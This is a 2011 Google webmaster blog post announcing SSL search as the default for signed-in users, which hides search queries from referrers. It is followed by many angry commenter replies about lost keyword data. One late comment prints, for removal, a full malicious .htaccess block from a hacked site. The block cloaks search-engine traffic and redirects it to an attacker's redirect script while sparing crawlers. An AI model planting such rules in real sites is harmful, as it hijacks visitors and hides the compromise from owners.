Tuesday, October 18, 2011 at 11:18 AM
Webmaster level: AllSSL encryption on the web has been growing by leaps and bounds. As part of our commitment to provide a more secure online experience, today we announced that SSL Search on https://www.google.com will become the default experience for signed in users on google.com. This change will be rolling out over the next few weeks.
What is the impact of this change for webmasters? Today, a web site accessed through organic search results on http://www.google.com (non-SSL) can see both that the user came from google.com and their search query. (Technically speaking, the user’s browser passes this information via the HTTP referrer field.) However, for organic search results on SSL search, a web site will only know that the user came from google.com.
Webmasters can still access a wealth of search query data for their sites via Webmaster Tools. For sites which have been added and verified in Webmaster Tools, webmasters can do the following:
- View the top 1000 daily search queries and top 1000 daily landing pages for the past 30 days.
- View the impressions, clicks, clickthrough rate (CTR), and average position in search results for each query, and compare this to the previous 30 day period.
- Download this data in CSV format.
We will continue to look into further improvements to how search query data is surfaced through Webmaster Tools. If you have questions, feedback or suggestions, please let us know through the Webmaster Tools Help Forum.
64 comments:
What's the rationale for blocking keywords from Analytics?
My understanding is that if the search result is also on https, referrer data will still be sent. Can you confirm this?
What a huge mistake
Where's the -1 button ?
Doesn't this kinda devalue your own service? In fact... several of your own services?
What about the webmasters who use referring query data to present users with an experience optimized to their search query?
If I know a user searched for "size 6 shoes" and they click on my generic "shoes" result, right now I can present them a more relevant experience using the referring query.
What I'm reading here is, "Google can use data to drive relevance, but others on the internet cannot."
This is either yet another example of Google blindly rolling out significant product changes without considering the ramifications on the web ecosystem, or just serious arrogance. Either way, it's not a good thing.
Is this supposed to hinder Google Analytics competitors like Piwik?
I tend to use various tools and correlate the data to consolidate my judgements, and this is not helping!
Wow, this is a massive mistake. Receiving search data per user is really important for business analysing their keyword, for SEO, for rendering a site or page best suited for the user especially on a shopping cart site. If I have an exact match on the item you are searching for I will most likely want to take you directly to that page and decrease the clicks needed for the user and thus increase my conversions.
By removing this you are taking away this as well as limiting the actual keyword and phrases that users are searching on.
If Analytics gave all the results everyone ever needed it would not be an issue but, frankly, its not a tailored solution and in the case of my main employer, its not able to cope with the design of the platform so using it for keyword performance analysis across all of the dimensions that we need to produce is impossible.
Seriously, this is the WORST decision I you have made in a long time
Sorry for the follow-up post so soon, but I feel really strongly about this.
This is actually going to have a potentially huge negative effect on rankings of sites and will undo the work that people have spent months on consolidating pages, removing duplicate content and low quality pages, using the canonical tag etc.
Here's why.
In the past, if a site has category pages with pagination that then linked to thin content product pages to reduce the chances of the sites being penalised by your algorithms for duplicate content they would canonicalise the pages back to the category page.
Imagine the category was "shoes". If the end-user searches on "Nike Shoes" and finds their page, they would click that then the page may say "actually you searched for "nike shoes" lets apply a filter or even redirect them to a specific nike category". They will not be able to do this now.
So instead they will have to remove the canonicalisation and actually add thin pages back into their site maps and allow them to be spidered which will increase the chances of having both duplicate and thin content which will obviously now have a negative affect on the entire site!
So effectively by doing this you will be undoing the work that Panda etc has tried to do to clean up search results.
I really hope that you realise the massive mistake that this is as, judging by your past trends, this will be rolled out to be the default for all users.
Again, this is a terrible idea and I can see no justification or gain that it does.
Saying using Analytics and Webmaster tools will give the results is simply not true as you can not analyse keywords across multiple dimensions at a corporate level from your services as you do not know about those
This is probably the biggest mistake that is about to be made. Firstly, I don't trust the data that I see in webmaster tools all the time. I compare that against other tools to ensure I give my users the best experience possible.
A lot of the time, as other users on this blog have already stated, we tailor pages based on a user's search query. If a user searched for "ugg boots in chocolate size 8" and the shoe site they were going to sold ugg boots, that site would be able to directly tailor the page to show a pair of black ugg boots in size 8. The likelihood of conversion at that stage would be fairly high for the ecommerce shoe site as they would be presenting the user with exactly what they'd searched for.
Now that's all possible when the search query appears within the referrer. However, what you're about to do with make such sites display generic pages. The extra search that then needs to be performed by a user could reduce the chances of converting that user into a sale.
As another user as stated, this seems to be sheer arrogance on the part of Google, and if anything, this will be made default in no time at all. The amount of investment that sites have made to their SEO would have just gone to waste and a lot of them could potentially suffer loss in revenue as a result of this!
Has Google considered the ramifications that legitimate businesses who don't spam users and who have proper SEO in place and who genuinely want to give their users the best user experience possible?
I think this ought to be re-considered!!
https will slow down the world
Meaning that content optimization using schema tag is the best practice to match with this kind of new move.
This would mean businesses will then have to spend a load of money getting their sites changed, having just recently spent a load of money on the Panda update!
Maybe Google should stop loading their coffers and consider the livelihood of small businesses who may not have the capital for such big changes.
-1
I would really like Anthony Chavez or a Google Employee (Matt Cutts et al.) involved in these changes to address the concerns of many in this blog!
So why not do the same for PPC results. I take it, if your running a paid search account, http or https will make no difference i.e. you will still send keyword level data.
This article also conflicts with information stated on other Google Blogs.
For instance this one says that Analytics will still have the data, however when you then look at that blog analytics.blogspot.com ic clearly states that this will not be the case.
How will this change impact Google Analytics users?
When a signed in user visits your site from an organic Google search, all web analytics services, including Google Analytics, will continue to recognize the visit as Google “organic” search, but will no longer report the query terms that the user searched on to reach your site. Keep in mind that the change will affect only a minority of your traffic. You will continue to see aggregate query data with no change, including visits from users who aren’t signed in and visits from Google “cpc”.
So basically all keyword research, targetting and optimisation is gone.
Google state it will be less then 1% of the users. Please state exactly how this figure has been calculated. It's simply not true. Do you expect the web community to believe that users sign out of GMail, Google Plus etc to search on Google? Really, do you? Of course they do not.
Plus with Android, users will be signed in when they search anyway, and since mobile search is skyrocketing this percentage will grow at the same rate.
With Adwords, you can append a query string so you kind of roughly know the bid term/search phrase a user came on.
As you are so woried about our privacy I assume you will apply this to all users (even the one not logged in) and also to AdWords, right?
Ah no, you are making money out of it...
According to Google this will affect <1% of users. Can you please explain how you got to these figures? It's simply not true.
Do you really expect the web community to believe that despite gMail, Google Plus etc, that over 99% of users sign out to search? You are joking. Plus, to make things worse, with the increase of Android devices users will be signed into Google at all times, meaning that as the growth of "smartphones" continues to increase the referrers we get will continue to decrease.
Absolutely crazy!
One last matter I would like "the big G" to clear up is this.
Within this blog you say that the data will be available within Anayltics, well this is not true. The Analytics blog clear states that the information will not be available
http://analytics.blogspot.com/2011/10/making-search-more-secure-accessing.html
"How will this change impact Google Analytics users?
When a signed in user visits your site from an organic Google search, all web analytics services, including Google Analytics, will continue to recognize the visit as Google “organic” search, but will no longer report the query terms that the user searched on to reach your site. Keep in mind that the change will affect only a minority of your traffic. You will continue to see aggregate query data with no change, including visits from users who aren’t signed in and visits from Google “cpc”. "
Which brings me to another point, is this really a move for Google to get everyone using Adwords so that we can get the referrer data? And they can get more money out of advertising spend?
So technically speaking if 100% of visitors are signed in during search you have no data. This is just another attempt by Google to have the whole pie for itself!!
Please reconsider how this will work. Doing this will hurt the user experience when clicking through Google results because sites can no longer provide a tailored experience based on the actual keyword.
If Google is about a experience coming from search, this runs counter to that.
Completely disappointing. They're just pushing people towards PPC.
So to sum it up, you care about our privacy unless you can make money on it? Google getting a bit greedy now?
Agree with those indicating this change will negatively impact user experience. Specifically, the relevancy of the page shown to the user on sites that leveraged this data will now be diminished.
www.online-nflshop.com
redirect from jerseysusa.com,finejerseys.com.this two websites used to be scam websites and now they changed a domain name for keeping SCAM people.
you google guys should let it disappear from you SERP.
help the americans from scam !
The first thing that comes to my mind if I'm reading this correctly is Google has made some sort of deal with company's that provide SSL certs to webmasters and they came up with this little plan to increase the sales of SSL certs.
Google - please reconsider. This could cause a major loss of important marketing data for us.
Has anyone considered the impact to google product search? Will the same rules apply to secure searches vs. non secure?
lame.
good thing it's OK to still provide data to PPC...wouldn't want to upset the $$-maker - whew!
More attractive, thanks google
Me too. This is like a step back.
Go Bing! Go Bing!
Now you are just using your power to shut down statistic softwares others than yours. It's stuiped if you ask me.
At least set up an API to your Webmaster Central so I can autmatically extract the data I need then.
But still I do hope you change or that you are being forced to change because of lawsuits.
I am not amused. The organic "information" in webmaster tools is usually days old, not as up to date as analytics, so I can not react quickly anymore. The numbers in webmaster tools are inaccurate, differing from the numbers in analytics, giving me just rough hints, no actionable insights. In webmaster tools I have absolutely no clue about conversion data, so I'm steering my car blindly. Oh, I forgot - when I pay for AdWords, I get all the data. Of course. You don't like websites doing successful SEO? Then please simply say so, shut down the organic search results and turn into a PPC-only web catalogue. But don't forget that exactly these websites doing successful SEO according to your own strict an high-level quality standards contributed to your success in terms of satisfied searchers in the first place.
Google is becomming the new Microsoft. Everything they do is designed to benefit Google and to support their paid products such as adwords. Why would you hide the search terms used on the organic results for any other reason? In addition, you will no longer be able to see when a user enters a company name and is basically using Google as a "411 Info" search.
I always thought ethical SEO’s and Google was working together, to show relevant results for search terms. It seems this was a one way relationship.
https will slow down the world
Whatever they do - they do for their own since introducing AdWords Campaign. That was big mistake when people started to use Analytics. Google has collected lots of data they are using now for their own benefit and now, when they don't it anymore, they decided to push more people towards spending more dollars in their Adwords. Nobody really knows if their bidding system is fair, now I am even more concerned about the privacy.
This move will be detrimental to white hat SEO and many web analytics efforts. This seems like an inconsistent application of so-called privacy concerns (if you pay Google then you can still get the data! What's up with that?). As others have commented, one of my first thoughts was to wonder if Google is using this move to better position the use of their Webmaster Tools. Regardless, this move by Google seems like a big mistake and I hope they back track soon.
This is outrageous, you are perverting the openess of the web and negatively imapcting the human insight it provides. It is clearly to force marketers to spend on AdWords PPC alone.
I will be removing the +1 button as you have now given me and every other SEM out there a reason to wish your Social Media project to fail.
Please reconsider this move, nothing good will come of it
Looks like Google is setting itself up for anti-competitive lawsuits from the other analytics providers, and/or governments.
Also, even if it's not some sneaky way to encourage more people to spend on Adwords, the fact that it smells fishy should have been enough to nix this idea. No one has believed for a long time that Google is snow white.
I just took one giant step toward Bing.
This is blatantly greedy and scummy. How dare you try and play this off like its a privacy issue.
If the percentages increase from the average 1-5% to 10% or higher, you will see a large percentage of users (organic and paid) leaving out your front door.
Hey Google, can you write another post so I don't have to look at this nasty news every time I visit?
Does this change also apply to searches entered at YouTube.com?
Terrible idea, thumbs down from me. It's not too late to take it back like the about-turn on Google Buzz.
the only person i see this benefiting is google.
if you're so concerned about privacy, why are you making the data available to people that pay for it through adwords?
classic example of a big company abusing their monopolistic position
online-nflshop.com
hidder text link!!!
cloaking!!
sneaky redirects...!!!!!
i don't understand why this websites can keeping on your NO 1 SERP....
this is a totally SCAM websites!!!!!
Keywords finding and keyword stuffing is still working in someways in addition to panda`s update v.3
Thanks for an excellent article! I appreciate your insights and agree with what you wrote.
I seriously cannot believe this. I make every effort to ensure I build high quality websites with informative and useful information, and now when logging into Analytics I see "not provided", "not provided", "not provided".
This is BEYOND A JOKE. Why bother with white hat SEO anymore?
Im seriously lost for words. Im angry, Im frustrated and in total disbelief.
Seriously ....this is ridiculous.
Guys, this is just how HTTPS is working. To be secure it cannot leak informations, including Refferer (becasue GET/POST queries are encrypted in first place, so are protected, and to be still protected a refferer needs to be hidden).
This is in the HTTPS standard.
Full Refferers are sent to the same server however (if still on HTTPS).
All webbrowsers implement this this way.
I think, sometimes it is too restrictive, and I think some kind of HTTP header would be appropriate to tell browser, that original refferer can be sent by the browser to next site.
Similar webserver could tell browser to use different referer when doing further requests (for example to expose q=i+was+searching+for+this, but hide some important ones, sid=jkhaksjhdkshd&ip=71.12.77.22. Then webmaster will decide what is hidden for security and privacy reasons, and was is shown. It can be also configured by users of this servers.). It can be a hack somehow, because a new 'alternate' referer may point to not-existing URL. However if we enforce in webbrowsers to make it have same domain name, (and use old behaviour in case of any error), it will be quite safe.
Right now, (not provided) is my #3 keyword - so the importance to webmasters is greater than stated by Google. Since this post in the middle of October, has anyone from Google stepped in to clarify this or expand on it? Sure would be in their best interests to do so, I would think
If this really is for privacy reasons, doesn't this mean that Google is now SELLING user privacy by only allowing this data to be found in AdWords?
NOT impressed Google. Time to focus more on Yahoo and Bing, I guess. :-(
Man walks into a store,
Storeowner: "Hi, where are you from"
Man: "that information is private and confidential, how much you willing to pay for it?"
Thanks for giving us the middle finger while you protect your interests.
Look, site owners can be your ally in your goal for Google+ by adding +1 buttons and asking users to authenticate with Google accounts rather than Facebook Connect. But, this action makes us NOT want users to be logged in to Google, which is the opposite of what you want for Google+. Whatever your real reasons for this - privacy is not the reason or else you would not let PPC clicks have keyword data - it can't be more important than motivating site owners to use Google over Facebook. I suggest you undo this for that Google-centric reason alone.
great
Hello Friends
I am having a problem if you google "bgatechnology" it will show my webiste bgatechnology.com.
But when i click on it Google Redirects it to some broken link i.e http://argumenthistorical.org/cgi-bin/r.cgi?p=10003&i=0f045fa4&j=333&m=c5f30d48a4412af195fb585b94b4e854&h=www.bgatechnology.com&u=/&q=&t=20120201071146
Can any one tell how can i fix it or why it is happening to me
@NY Web Design Company
The same thing happen to me, what’s happened is that spammers have hacked the htaccess file on your server so that it redirects any results that come from a search engine. By doing it this way, you’re less likely to notice that your site has been hacked which is annoying.
To fix the issue, use FTP access to find every .htaccess file on your website. Edit it and remove any code that looks like the following:
# exgocgkctswo
RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^GET$
RewriteCond %{HTTP_REFERER} ^(http\:\/\/)?([^\/\?]*\.)?(google\.|yahoo\.|bing\.|msn\.|yandex\.|ask\.|excite\.|altavista\.|netscape\.|aol\.|hotbot\.|goto\.|infoseek\.|mamma\.|alltheweb\.|lycos\.|search\.|metacrawler\.|rambler\.|mail\.|dogpile\.|ya\.|\/search\?).*$ [NC]
RewriteCond %{HTTP_REFERER} !^.*(q\=cache\:).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(bing|Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|apache|appie|AppleSyndication).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Archive|Argus|Ask\sJeeves|asterias|Atrenko\sNews|BeOS|BigBlogZoo).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Bookmark|bot|CE\-Preload|CFNetwork|cococ|Combine|Crawl|curl|Danger\shiptop).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Diagnostics|DTAAgent|ecto|EmeraldShield|endo|Evaal|Everest\-Vulcan).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|Fuck\sYou|Google).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda\-Search|HP\-UX).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|iPhone|IRIX|Jakarta|JetBrains).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus\-Notes|Lycos|Lynx|Mac\_PowerPC).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Mac\_PPC|Mac\s10|like\sMac\sOS|macDN|Mediapartners|Megite|MetaProducts).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(os\=Mac|P900i|panscient|perl|PlayStation|POE\-Component|PrivacyFinder).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Series\s60).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(SharpReader|SiteBar|Slurp|Snoopy|Soap\sClient|Socialmarks|Sphere\sScout).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Win\s9x).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Win16|Win95|Win98|Windows\s95|Windows\s98|Windows\sCE|Windows\sNT\s4).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(WinHTTP|WinNT4|WordPress|WWWeasel|wwwster|yacy|Yahoo).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$ [NC]
RewriteCond %{HTTP_COOKIE} !^.*xccgtswgokoe.*$
RewriteCond %{HTTPS} ^off$
RewriteRule ^(.*)$ http://argumenthistorical.org/cgi-bin/r.cgi&h=%{HTTP_HOST}&u=%{REQUEST_URI}&q=%{QUERY_STRING}&t=%{TIME} [R=302,L,CO=xccgtswgokoe:1:%{HTTP_HOST}:10080:/:0:HttpOnly]
# exgocgkctswo
Hope that helps
This choice of not providing keywords is really awful for webmasters which will be less able to give value to the users.
Eventually it will damage web users, despite all privacy concerns.
Please, give us back our search keywords, it has nothing to do with users privacy.
Sincerly,
Gabriele
I stopped using PPC. My (not-provided) is at 65%. Why would I want to use PPC with so little organic data to tell me what works for my company.
-1
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